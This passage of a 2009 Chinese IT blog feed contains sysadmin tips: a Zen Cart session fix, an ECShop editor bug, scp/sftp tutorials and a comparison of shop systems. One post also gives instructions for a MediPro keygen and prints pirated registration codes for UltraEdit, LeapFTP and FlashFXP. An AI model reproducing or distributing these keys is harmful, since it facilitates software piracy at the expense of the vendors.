			<content:encoded><![CDATA[<p>Using Xoops 2.3.2b. Using Zen Cart Xoops 0.3. Cannot log into the admin either via xoops or via Admin Url : /modules/shop/admin. Page freezes.<br />
I get this error..</p>
<p>Fatal error: Call to a member function Execute() on a non-object in /home/tiger/evan/lighttpd/hunttech/xoops/index/modules/shop/includes/functions/sessions.php on line 61</p>
<p>This is line 61&#8230;</p>
<p>$total = $db->Execute($qid);</p>
<p>I had the same issue. The solution is to modify the \admin\includes\config.php file. Change the line:</p>
<p>define(&#8216;STORE_SESSIONS&#8217;, &#8216;db&#8217;); // leave empty &#8221; for default handler or set to &#8216;db&#8217;</p>
<p>To:</p>
<p>define(&#8216;STORE_SESSIONS&#8217;, &#8221;); // leave empty &#8221; for default handler or set to &#8216;db&#8217;</p>
<p>You should now be able to log into the Admin area.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1296.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>终于搞明白ecshop后台的文章编辑功能不能用的原因</title>
		<link>http://www.evanjiang.net.cn/archives/1282.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1282.html#comments</comments>
		<pubDate>Wed, 19 Aug 2009 01:54:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1282</guid>
		<description><![CDATA[<p>终于搞明白ecshop后台的文章编辑功能不能用的原因。自从今年的五月低开始，俺在网上搭建的基于ECSHOP的商城的文章编辑功能就不能用。。。俺一直在查找原因。一直在想问题出在哪里。今天终于让俺找到问题所在，原来还是lighttpd的5678 端口跟nginx没有衔接好的原因：</p>
<p>例如：俺在后台随便打开一篇文章来编辑。不是显示空白，就是显示js报错信息。以下为JS报错信息：
网页错误详细信息</p>
<p>用户代理: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
时间戳: Thu, 20 Aug 2009 15:36:57 UTC</p>
<p>消息: 缺少 &#8216;}&#8217;
行: 32
字符: 10099
代码: 0
URI: http://www.luckties.cn/includes/fckeditor/editor/js/fckeditorcode_ie.js</p>
<p>消息: &#8216;FCKConfig&#8217; 未定义
行: 27
字符: 1
代码: 0
URI: http://www.luckties.cn/includes/fckeditor/fckconfig.js
</p>
<p>消息: &#8216;FCKBrowserInfo&#8217; 未定义
行: 125
字符: 1
代码: 0
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: 缺少对象
行: 164
字符: 1
代码: 0
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: &#8216;FCKTools&#8217; 未定义
行: 176
字符: 1
代码: 0
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: 缺少对象
行: 195
字符: 1
代码: 0
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: &#8216;FCKLang&#8217; 未定义
行: 203
字符: 1
代码: 0
URI: [...]]]></description>
			<content:encoded><![CDATA[<p>终于搞明白ecshop后台的文章编辑功能不能用的原因。自从今年的五月低开始，俺在网上搭建的基于ECSHOP的商城的文章编辑功能就不能用。。。俺一直在查找原因。一直在想问题出在哪里。今天终于让俺找到问题所在，原来还是lighttpd的5678 端口跟nginx没有衔接好的原因：</p>
<p>例如：俺在后台随便打开一篇文章来编辑。不是显示空白，就是显示js报错信息。以下为JS报错信息：<br />
网页错误详细信息</p>
<p>用户代理: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)<br />
时间戳: Thu, 20 Aug 2009 15:36:57 UTC</p>
<p>消息: 缺少 &#8216;}&#8217;<br />
行: 32<br />
字符: 10099<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/js/fckeditorcode_ie.js</p>
<p>消息: &#8216;FCKConfig&#8217; 未定义<br />
行: 27<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/fckconfig.js<br />
<span id="more-1282"></span></p>
<p>消息: &#8216;FCKBrowserInfo&#8217; 未定义<br />
行: 125<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: 缺少对象<br />
行: 164<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: &#8216;FCKTools&#8217; 未定义<br />
行: 176<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: 缺少对象<br />
行: 195<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: &#8216;FCKLang&#8217; 未定义<br />
行: 203<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: &#8216;FCKBrowserInfo&#8217; 未定义<br />
行: 270<br />
字符: 1<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>消息: 缺少对象<br />
行: 210<br />
字符: 2<br />
代码: 0<br />
URI: http://www.luckties.cn/includes/fckeditor/editor/fckeditor.html?InstanceName=FCKeditor1&#038;Toolbar=Normal</p>
<p>俺上网查了查，有人说是fckedit编辑器问题。有人说是服务器空间有问题。俺一直得不到明确的答案。该问题也一直得不到解决。今天，俺灵机一动。想想会不会又是lighttpd的5678端口问题？因而，在文章所对应的网址后面加上5678.终于可以见到文章内容，以及相对应的fckedit编辑框。。。。俺记得五月份之前都是正常的。都是好的。端午节就不行。那问题应该是出在nginx的配置方面。没有对lighttpd的5678端口作出正确配置。因而，累至这个问题一直存在。。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1282.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>有用的常用软件及命令设置参数记录</title>
		<link>http://www.evanjiang.net.cn/archives/1250.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1250.html#comments</comments>
		<pubDate>Sat, 01 Aug 2009 06:34:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1250</guid>
		<description><![CDATA[<p>1、php 源代码编译参数
./configure &#8211;prefix=/home/tiger/evan/php5-fastcgi &#8211;with-mysql=/usr/local/mysql &#8211;enable-gd-native-ttf &#8211;with-gd &#8211;enable-ftp &#8211;with-iconv &#8211;with-gettext &#8211;enable-fastcgi &#8211;enable-zend-multibyte &#8211;without-pear &#8211;enable-force-cgi-redirect &#8211;enable-discard-path &#8211;with-bz2 &#8211;enable-zip &#8211;with-calendar &#8211;enable-mbstring &#8211;with-curl &#8211;enable-exif &#8211;with-xmlrpc &#8211;enable-soap &#8211;enable-sockets &#8211;enable-dba &#8211;with-gdbm &#8211;with-kerberos &#8211;enable-pcntl &#8211;with-zlib &#8211;with-config-file-path=/home/tiger/evan/etc</p>
<p>make &#038;&#038; make test &#038;&#038; make clean &#038;&#038; make install </p>
<p>2、tar.bz2解压命令</p>
<p>tar.bz2 解压命令。 收藏
bzip2 -d  gcc-4.1.0.tar.bz2
&#8212;上面解压完之后执行下面的命令。</p>
<p>tar -xvf gcc-4.1.0.tar 或 tar -xvf *.tar
解完之后会出现多一个文件夹 gcc-4.1.0</p>
<p>3、mysql 重启命令 (debian/ubuntu平台）
/etc/init.d/mysql restart
4、MediPro名典注册机
名典, MediPro, [...]]]></description>
			<content:encoded><![CDATA[<p>1、php 源代码编译参数<br />
./configure &#8211;prefix=/home/tiger/evan/php5-fastcgi &#8211;with-mysql=/usr/local/mysql &#8211;enable-gd-native-ttf &#8211;with-gd &#8211;enable-ftp &#8211;with-iconv &#8211;with-gettext &#8211;enable-fastcgi &#8211;enable-zend-multibyte &#8211;without-pear &#8211;enable-force-cgi-redirect &#8211;enable-discard-path &#8211;with-bz2 &#8211;enable-zip &#8211;with-calendar &#8211;enable-mbstring &#8211;with-curl &#8211;enable-exif &#8211;with-xmlrpc &#8211;enable-soap &#8211;enable-sockets &#8211;enable-dba &#8211;with-gdbm &#8211;with-kerberos &#8211;enable-pcntl &#8211;with-zlib &#8211;with-config-file-path=/home/tiger/evan/etc</p>
<p>make &#038;&#038; make test &#038;&#038; make clean &#038;&#038; make install </p>
<p>2、tar.bz2解压命令</p>
<p>tar.bz2 解压命令。 收藏<br />
bzip2 -d  gcc-4.1.0.tar.bz2<br />
&#8212;上面解压完之后执行下面的命令。</p>
<p>tar -xvf gcc-4.1.0.tar 或 tar -xvf *.tar<br />
解完之后会出现多一个文件夹 gcc-4.1.0</p>
<p>3、mysql 重启命令 (debian/ubuntu平台）<br />
/etc/init.d/mysql restart<br />
4、MediPro名典注册机<br />
名典, MediPro, 注册机<br />
使用说明：<br />
1.把注册机放在php网站空间内，运行（注意，最好是与要注册的企业网站放在相同的空间里！！） </p>
<p>2.先安装网站！！再运行注册机，把注册机的显示结果复制下来. </p>
<p>3.网站的目录有个license.php文件，用注册机的结果替换相应的内容. </p>
<p>4.为了保密，注册机的结果故意少显示&#8217; ?>  (英文状态)，自己加上.</p>
<p>http://202.101.161.115:515/medi_key.php</p>
<p>http://www.weboss.cn/</p>
<p><span id="more-1250"></span><br />
5、UltraEdit-32 v15.00注册码：<br />
free user<br />
GGCDP-KIOGN-KQHLZ-RNCSK-KKKHZ-PILKV-OQCKS-TKATB</p>
<p>6、leapftp3.0注册码：<br />
key=tRa8uNSdl4bKMjZEi1hRwzrG<br />
j5d4yjMtwp2RD+x9ZxusjUO2bRVX<br />
6i+wxi1rdwiNrTFQbClQO9AWBeAq<br />
zeRa5bbMtL5mJZeHBbh9QBIIPw7f<br />
kLNC0hFfKWGUoKnLPRvztMBGyxGK<br />
xhlxfPjlC0kV3cI1Zs7WPxdGPt+U<br />
5K8ZbQ+1X1UELaH6s000UvFUovZA<br />
KMdDSR/u0P67MAEwhT1np4pYawRE<br />
Coa3nx14AhwELLYuwUsfZ2fquo/j<br />
F1RFJyEUmWPHwsIzd59maJmEa+He<br />
Ox4C2q/wc6+EJu2GuNKNgH1N19CZ<br />
5bDqOfafb2HeoJTb</p>
<p>7、flashfxp3.60注册码：<br />
&#8212;&#8212;&#8211; FlashFXP Registration Data START &#8212;&#8212;&#8211;<br />
FLASHFXPyAB13liOyAAAAAC1W5MNJwXnsl8Es2S5kKnASZdi0K<br />
jW5M4K8YjULRYAABnecXSKkILeqdd19oQHz6gg71ef4e5Osvnd<br />
1BJEes1XYIGvBzwCATXp7f8a0hBtoO+iqA2GvsaBx6qWn+FhJo<br />
W8Y53fzEuAluTxQ8OCmBByR8kyFehVhq8qXY7q4vjJuZhN/Nid<br />
cWI/pt8e5JY1iCByNN1nemGwQ67Ss2RqZoyzPpG6aSBZYumopz<br />
L/R8fs<br />
&#8212;&#8212;&#8211; FlashFXP Registration Data END &#8212;&#8212;&#8211;</p>
<p>8、</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1250.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSH工具SCP使用示例详细解析</title>
		<link>http://www.evanjiang.net.cn/archives/1248.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1248.html#comments</comments>
		<pubDate>Sat, 01 Aug 2009 06:26:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1248</guid>
		<description><![CDATA[<p>linux下如何使用sftp命令。</p>
<p>sftp 是一个交互式文件传输程式。它类似于 ftp, 但它进行加密传输，比FTP有更高的安全性。下边就简单介绍一下如何远程连接主机，进行文件的上传和下载，以及一些相关操作。</p>
<p>举例，如远程主机的 IP 是 202.206.64.33或者是域名www.hebust.edu.cn,用户名是  fyt ,在命令行模式下:sftp fyt@202.206.64.33或者  fyt@www.hebust.edu.cn。回车提示输入密码。进入提示符</p>
<p>sftp></p>
<p>如果登陆远程机器不是为了上传下载文件，而是要修改远程主机上的某些文件。可以</p>
<p>ssh  fyt@202.206.64.33 （其实sftp就是ssh 的一个程式。）</p>
<p>sftp> get /var/www/fuyatao/index.php  /home/fuyatao/
这条语句将从远程主机的  /var/www/fuyatao/目录下将 index.php 下载到本地  /home/fuyatao/目录下。</p>
<p>sftp> put /home/fuyatao/downloads/Linuxgl.pdf /var/www/fuyatao/
这条语句将把本地 /home/fuyatao/downloads/目录下的 linuxgl.pdf文件上传至远程主机/var/www/fuyatao/ 目录下。</p>
<p>你如果不知道远程主机的目录是什么样， pwd命令可以帮您查询远程主机的当前路径。查询本机当前工作目录 lpwd.</p>
<p>SSH工具SCP使用示例详细解析</p>
<p> SSH（Secure Shell）是用来登录远程计算机和在远程计算机上执行命令的程序。它是用来替代rlogin和rsh，以及在不安全的网络环境下在两台计算机之间提供安全和加密的信息交流。X11连接和TCP/IP端口可以被转发到一个安全的通道里。</p>
<p>　　用下面的命令，登录远程计算机：</p>
<p>[root@deep]# SSH  
例如：
[root@deep]# SSH username www.openarch.com
username@deep.openarch.com’s password:
Last login: Tue Oct 19 1999 18:13:00 -0400 from gate.openarch.com
Welcome to www.openarch.com [...]]]></description>
			<content:encoded><![CDATA[<p>linux下如何使用sftp命令。</p>
<p>sftp 是一个交互式文件传输程式。它类似于 ftp, 但它进行加密传输，比FTP有更高的安全性。下边就简单介绍一下如何远程连接主机，进行文件的上传和下载，以及一些相关操作。</p>
<p>举例，如远程主机的 IP 是 202.206.64.33或者是域名www.hebust.edu.cn,用户名是  fyt ,在命令行模式下:sftp fyt@202.206.64.33或者  fyt@www.hebust.edu.cn。回车提示输入密码。进入提示符</p>
<p>sftp></p>
<p>如果登陆远程机器不是为了上传下载文件，而是要修改远程主机上的某些文件。可以</p>
<p>ssh  fyt@202.206.64.33 （其实sftp就是ssh 的一个程式。）</p>
<p>sftp> get /var/www/fuyatao/index.php  /home/fuyatao/<br />
这条语句将从远程主机的  /var/www/fuyatao/目录下将 index.php 下载到本地  /home/fuyatao/目录下。</p>
<p>sftp> put /home/fuyatao/downloads/Linuxgl.pdf /var/www/fuyatao/<br />
这条语句将把本地 /home/fuyatao/downloads/目录下的 linuxgl.pdf文件上传至远程主机/var/www/fuyatao/ 目录下。</p>
<p>你如果不知道远程主机的目录是什么样， pwd命令可以帮您查询远程主机的当前路径。查询本机当前工作目录 lpwd.</p>
<p><span id="more-1248"></span>SSH工具SCP使用示例详细解析</p>
<p> SSH（Secure Shell）是用来登录远程计算机和在远程计算机上执行命令的程序。它是用来替代rlogin和rsh，以及在不安全的网络环境下在两台计算机之间提供安全和加密的信息交流。X11连接和TCP/IP端口可以被转发到一个安全的通道里。</p>
<p>　　用下面的命令，登录远程计算机：</p>
<p>[root@deep]# SSH <login_name> <hostname><br />
例如：<br />
[root@deep]# SSH username www.openarch.com<br />
username@deep.openarch.com’s password:<br />
Last login: Tue Oct 19 1999 18:13:00 -0400 from gate.openarch.com<br />
Welcome to www.openarch.com on Deepforest.<br />
<login_name>是用来登录ssh服务器的用户名，<hostname>是ssh服务器主机的地址。<br />
scp<br />
可以用这个命令把文件从本地计算机拷贝到远程计算机，<br />
或者反之，甚至可以在两台远程计算机之间用“scp”命令拷贝文件。<br />
把远程主机上的文件拷贝到当前目录的一个简单的方法如下。<br />
用下面的命令把文件从远程主机拷贝到本地主机上：<br />
[root@deep /]# su admin<br />
[admin@deep /]$ scp -rp <login_name@hostname>:/dir/for/file localdir/to/filelocation<br />
例如：<br />
[username@deep]$ scp -p username@mail:/etc/test1 /tmp<br />
Enter passphrase for RSA key &#8216;username@mail.openarch.com&#8217;:<br />
test1 | 2 KB | 2.0 kB/s | ETA: 00:00:00 | 100%<br />
用下面的命令把文件从本地主机拷贝到远程主机上：<br />
[root@deep /]# su admin<br />
[admin@deep /]$ scp -p localdir/to/filelocation <username@hostname>:/dir/for/file<br />
例如：<br />
[username@deep]$ scp -p /usr/bin/test2 username@mail:/var/tmp<br />
username@mail&#8217;s password:<br />
test2 | 7 KB | 7.9 kB/s | ETA: 00:00:00 | 100%<br />
　　注意：“-p”选项表示文件的改变和访问时间属性以及权限，在拷贝过程中被保留。通常是需要这样的。</p>
<p>copy 本地的档案到远程的机器上<br />
scp /etc/lilo.conf k@net67.ee.oit.edu.tw:/home/k<br />
会将本地的 /etc/lilo.conf 这个档案 copy 到 net67.ee.oit.edu.tw，使用者 k 的家目录下。<br />
copy远程机器上的档案到本地来<br />
scp k@net67.ee.oit.edu.tw:/etc/lilo.conf /etc<br />
会将 net67.ee.oitdu.tw 中 /etc/lilo.conf 档案 copy 到本地的 /etc 目录下。<br />
保持从来源 host 档案的属性<br />
scp –p k@net67.ee.tw:/etc/lilo.conf /etc</p>
<p>如果想使用特定端口 使用 scp –p（大写） 如 scp –p 1234 k@net67.ee.tw:/etc/lilo.conf /etc</p>
<p>在此必须注意使用者的权限是否可读取远程上的档案，若想知道更多关于 scp 的使用方法，可去看看 scp 的使用手册。<br />
ssh-keygen<br />
产生公开钥 (pulib key) 和私人钥 (private key)，以保障 ssh 联机的安性， 当 ssh 连 shd 服务器，会交换公开钥上，系统会检查 /etc/ssh_know_hosts 内储存的 key，如果找到客户端就用这个 key 产生一个随机产生的session key 传给服务器，两端都用这个 key 来继续完成 ssh 剩下来的阶段。 </p>
<p>它会产生 identity.pub、identity 两个档案，私人钥存放于identity，公开钥 存放于 identity.pub 中，接下来使用 scp 将 identity.pub copy 到远程机器的家目录下.ssh下的authorized_keys。 .ssh/authorized_keys(这个 authorized_keys 档案相当于协议的 rhosts 档案)， 之后使用者能够不用密码去登入。RSA的认证绝对是比 rhosts 认证更来的安全可靠。<br />
执行：<br />
scp identity.pub k@linux1.ee.oit.edu.tw:.ssh/authorized_keys </p>
<p>若在使用 ssh-keygen 产生钥匙对时没有输入密码，则如上所示不需输入密码即可从 net67.ee.oit.edu.tw 去登入 linux1.ee.oit.edu.tw。在此，这里输入的密码可以跟帐号的密码不同，也可以不输入密码。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1248.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>linux 用scp 来迁移数据，另附Linux scp 使用详解</title>
		<link>http://www.evanjiang.net.cn/archives/1242.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1242.html#comments</comments>
		<pubDate>Fri, 31 Jul 2009 01:11:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1242</guid>
		<description><![CDATA[<p>一般情况，本地网络跟远程网络进行数据交抱，或者数据迁移，常用的有三种方法，一是ftp,二是wget /fetch 三是，rsync  大型数据迁移用rysync，其次用fetch/wget ，最次是ftp，最慢是ftp.这几天，在忙数据迁移时，用到ssh的scp方法来迁移数据。速度与效果都很好。特别是现在许多服务器为了安全，都会改ssh默认的22端口，改成一个特殊的端口。所以。在scp或者sftp时，就要指定通过什么端口来迁移。现在，特记下这个特殊端口来scp的命令。</p>
<p>scp -p port user@serverip:/home/user/filename /home/user/filename</p>
<p>以上端口p 为参数，port 端口 user 为ssh user serverip 为远程服务器ip或者域名 ,/home/user/filename 为远程服务器的文件名 /home/user/filename 为本地服务服务器的文件名。该命令的作用就是将远程的filename复制到本地对应的目录下面。</p>
<p>scp 的作用真的很巨大，详细用法，可以man scp 或者 scp &#8211;help ，下面为附上一篇 scp 使用详解。。。
linux 的 scp 命令 可以 在 linux 之间复制 文件 和 目录；</p>
<p>==================
scp 命令
==================
scp 可以在 2个 linux 主机间复制文件；</p>
<p>命令基本格式：
scp [可选参数] file_source file_target</p>
<p>======
从 本地 复制到 远程
======
* 复制文件：
* 命令格式：
scp local_file remote_username@remote_ip:remote_folder
或者
scp local_file [...]]]></description>
			<content:encoded><![CDATA[<p>一般情况，本地网络跟远程网络进行数据交抱，或者数据迁移，常用的有三种方法，一是ftp,二是wget /fetch 三是，rsync  大型数据迁移用rysync，其次用fetch/wget ，最次是ftp，最慢是ftp.这几天，在忙数据迁移时，用到ssh的scp方法来迁移数据。速度与效果都很好。特别是现在许多服务器为了安全，都会改ssh默认的22端口，改成一个特殊的端口。所以。在scp或者sftp时，就要指定通过什么端口来迁移。现在，特记下这个特殊端口来scp的命令。</p>
<p>scp -p port user@serverip:/home/user/filename /home/user/filename</p>
<p>以上端口p 为参数，port 端口 user 为ssh user serverip 为远程服务器ip或者域名 ,/home/user/filename 为远程服务器的文件名 /home/user/filename 为本地服务服务器的文件名。该命令的作用就是将远程的filename复制到本地对应的目录下面。</p>
<p>scp 的作用真的很巨大，详细用法，可以man scp 或者 scp &#8211;help ，下面为附上一篇 scp 使用详解。。。<br />
linux 的 scp 命令 可以 在 linux 之间复制 文件 和 目录；</p>
<p>==================<br />
scp 命令<br />
==================<br />
scp 可以在 2个 linux 主机间复制文件；</p>
<p>命令基本格式：<br />
scp [可选参数] file_source file_target</p>
<p>======<br />
从 本地 复制到 远程<br />
======<br />
* 复制文件：<br />
* 命令格式：<br />
scp local_file remote_username@remote_ip:remote_folder<br />
或者<br />
scp local_file remote_username@remote_ip:remote_file<br />
或者<br />
scp local_file remote_ip:remote_folder<br />
或者<br />
scp local_file remote_ip:remote_file</p>
<p>第1,2个指定了用户名，命令执行后需要再输入密码，第1个仅指定了远程的目录，文件名字不变，第2个指定了文件名；<br />
第3,4个没有指定用户名，命令执行后需要输入用户名和密码，第3个仅指定了远程的目录，文件名字不变，第4个指定了文件名；<br />
* 例程：<br />
scp /home/space/music/1.mp3 root@www.cumt.edu.cn:/home/root/others/music<br />
scp /home/space/music/1.mp3 root@www.cumt.edu.cn:/home/root/others/music/002.mp3<br />
scp /home/space/music/1.mp3 www.cumt.edu.cn:/home/root/others/music<br />
scp /home/space/music/1.mp3 www.cumt.edu.cn:/home/root/others/music/002.mp3</p>
<p>* 复制目录：<br />
* 命令格式：<br />
scp -r local_folder remote_username@remote_ip:remote_folder<br />
或者<br />
scp -r local_folder remote_ip:remote_folder</p>
<p>第1个指定了用户名，命令执行后需要再输入密码；<br />
第2个没有指定用户名，命令执行后需要输入用户名和密码；<br />
* 例程：<br />
scp -r /home/space/music/ root@www.cumt.edu.cn:/home/root/others/<br />
scp -r /home/space/music/ www.cumt.edu.cn:/home/root/others/</p>
<p>上面 命令 将 本地 music 目录 复制 到 远程 others 目录下，即复制后有 远程 有 ../others/music/ 目录</p>
<p>======<br />
从 远程 复制到 本地<br />
======<br />
从 远程 复制到 本地，只要将 从 本地 复制到 远程 的命令 的 后2个参数 调换顺序 即可；</p>
<p>例如：<br />
scp root@www.cumt.edu.cn:/home/root/others/music /home/space/music/i.mp3<br />
scp -r www.cumt.edu.cn:/home/root/others/ /home/space/music/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1242.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>多款国外开源网店系统的功能对比与分析</title>
		<link>http://www.evanjiang.net.cn/archives/1232.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1232.html#comments</comments>
		<pubDate>Mon, 06 Jul 2009 15:38:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/archives/1232.html</guid>
		<description><![CDATA[<p>多款PHP开源网店系统的介绍</p>
<p>看完下面这篇文章后，俺终于决定用zencart中文版来代替俺之前用ecshop2.60搭建的网店。。</p>
<p>对于开源的系统最大的优点当然是免费，而且可以根据自己的需要选择插件，以适应自己的需要。但有一个前提，目前国内很多年谓开源的商城系统其实是要收费。其中都有一个条款就是大意是不能用于商业用途，作为电子商务软件不用于商业用途又能有什么用？真的用来学习编程吗？但国外的这几款开源的网店系统却真的是免费的，可以用于建设你的独立网店而无需付费。</p>
<p>以下是对多款开源网店的性能与各种参数进行一系列的对比，希望各位从中可以选出适合自己的网店系统。ECShop作为国内商城系统的代表也列入其中以作比较。(以下表格内容来源自网络收集)</p>
<p>从各软件特性分析</p>
<p> </p>
<p>（中文语言、授权方式、系统功能、搜索引擎、模板、用户数量)</p>
<p>软件名称</p>
<p>Magento</p>
<p>ECShop</p>
<p>osCommerce</p>
<p>Zen Cart</p>
<p>Freeway</p>
<p>中文语言</p>
<p>支持繁体中文</p>
<p>支持</p>
<p>支持</p>
<p>支持</p>
<p>不支持</p>
<p>授权方式</p>
<p>OPL 协议 免费</p>
<p>GPL 协议 付费</p>
<p>GPL 协议免费</p>
<p>GPL 协议 免费</p>
<p>GPL 协议 免费</p>
<p>系统性能</p>
<p>速度中等</p>
<p>速度中等</p>
<p>速度中等</p>
<p>速度快</p>
<p>速度快</p>
<p>搜索引擎</p>
<p>优</p>
<p>优</p>
<p>优</p>
<p>中</p>
<p>弱</p>
<p>模版</p>
<p>模板数量多</p>
<p>界面颜色丰富</p>
<p>模板数量多</p>
<p>界面颜色丰富</p>
<p>模块数量中等</p>
<p>界面颜色丰富</p>
<p>模块数量中等</p>
<p>界面颜色丰富</p>
<p>模板数量偏少</p>
<p>界面颜色较少</p>
<p>用户数量</p>
<p>国内中等</p>
<p>国外最多</p>
<p>国内最多</p>
<p>国外少</p>
<p>国内中等</p>
<p>国外较多</p>
<p>国内较少</p>
<p>国外最多</p>
<p>国内少</p>
<p>国外较多</p>
<p>从各软件功能分析</p>
<p>（购物车、商品管理、商品属性、订单处理、促销、支付接口、运输、报表统计、广告管理、CMS）</p>
<p>功能
	magento
  	Ecshop
  	Oscommerce
  	Zen cart
  	Freeway</p>
<p>购物车</p>
<p>可不注册会员购买</p>
<p>必须注册会员才可购买</p>
<p>可不注册会员购买</p>
<p>可不注册会员购买</p>
<p>可不注册会员购买</p>
<p>商品管理</p>
<p>商品评论、</p>
<p>属性控制、</p>
<p>标签管理 、</p>
<p>商品库存、</p>
<p>商品图片、</p>
<p>制造厂商、商品评论、</p>
<p>特价商品、商品预告、</p>
<p>商品回收站、商品批量上传修改</p>
<p>生成商品代码、比商品自动上下架</p>
<p>标签管理、图片批量处理等、</p>
<p>制造厂商</p>
<p>商品评论</p>
<p>特价商品</p>
<p>商品预告</p>
<p>商品分类</p>
<p>商品分类、商品类型、价格管理</p>
<p>选项名称、选项内容、属性控制</p>
<p>下载管理、厂商管理、评论管理</p>
<p>特价商品、推荐管理、促销商品</p>
<p>即将上市商品、快速更新等、</p>
<p>商品类型、价格管理、</p>
<p>选项名称、厂商管理、</p>
<p>商品评论</p>
<p>商品属性</p>
<p>商品类型、属性分组，</p>
<p>商品排序</p>
<p>商品类型、属性分组</p>
<p>属性值的录入方式、可选值列表</p>
<p>商品排序</p>
<p>商品类型、</p>
<p>属性分组、</p>
<p>商品类型、属性分组，</p>
<p>属性值的录入方式、</p>
<p>可选值列表、商品排序</p>
<p>商品类型、</p>
<p>属性分类（如：厂商）</p>
<p>订单处理</p>
<p>订单列表、订单查询、</p>
<p>合并订单、添加订单、</p>
<p>订单列表、订单查询、</p>
<p>合并订单、订单打印</p>
<p>缺货登记、添加订单、</p>
<p>订单查询</p>
<p>缺货登记</p>
<p>添加订单等</p>
<p>订单查询、合并订单、</p>
<p>订单打印、添加订单、等</p>
<p>订单查询、订单打印、</p>
<p>添加订单、等</p>
<p>促销</p>
<p>优惠券、</p>
<p>商品价格优惠百分比、</p>
<p>固定金额优惠、</p>
<p>整个购物车固定金额优惠</p>
<p>夺宝奇兵、红包类型</p>
<p>商品包装、祝福贺卡、</p>
<p>团购活动、专题管理、</p>
<p>拍卖活动、优惠活动、等</p>
<p>按订购总额折扣优惠、</p>
<p>按具体产品订购量折扣优惠</p>
<p>优惠券、</p>
<p>优惠活动（特价商品）</p>
<p>免费赠品、批量优惠、</p>
<p>暂无</p>
<p>支付接口</p>
<p>（都添加插件，自选支付接口）</p>
<p>Paypal 贝宝、</p>
<p>支付宝、网银在线等多种支付方式</p>
<p>Paypal 贝宝、</p>
<p>网银在线、支付宝、</p>
<p>QQ 财富通等十多种支付网关</p>
<p>环迅 IPS 、收汇Ctopay  </p>
<p>网银在线     、 NPS 支付</p>
<p>    支付宝 等</p>
<p>支付宝、快钱、网银在线、</p>
<p>贝宝、 iePay 、 NPS 、</p>
<p>环讯 IPS 、电信支付、首信</p>
<p>iePay 、网银在线、</p>
<p>等多种支付方式</p>
<p>运输</p>
<p>快递（ UPS ）、</p>
<p>平邮、 EMS 、</p>
<p>上门取货、 EMS 、</p>
<p>平邮、运费到付、</p>
<p>邮政挂号印刷品</p>
<p>快递、平邮、</p>
<p>EMS 、等</p>
<p>快递、平邮、（联合邮政 [...]]]></description>
			<content:encoded><![CDATA[<p>多款PHP开源网店系统的介绍</p>
<p>看完下面这篇文章后，俺终于决定用zencart中文版来代替俺之前用ecshop2.60搭建的网店。。</p>
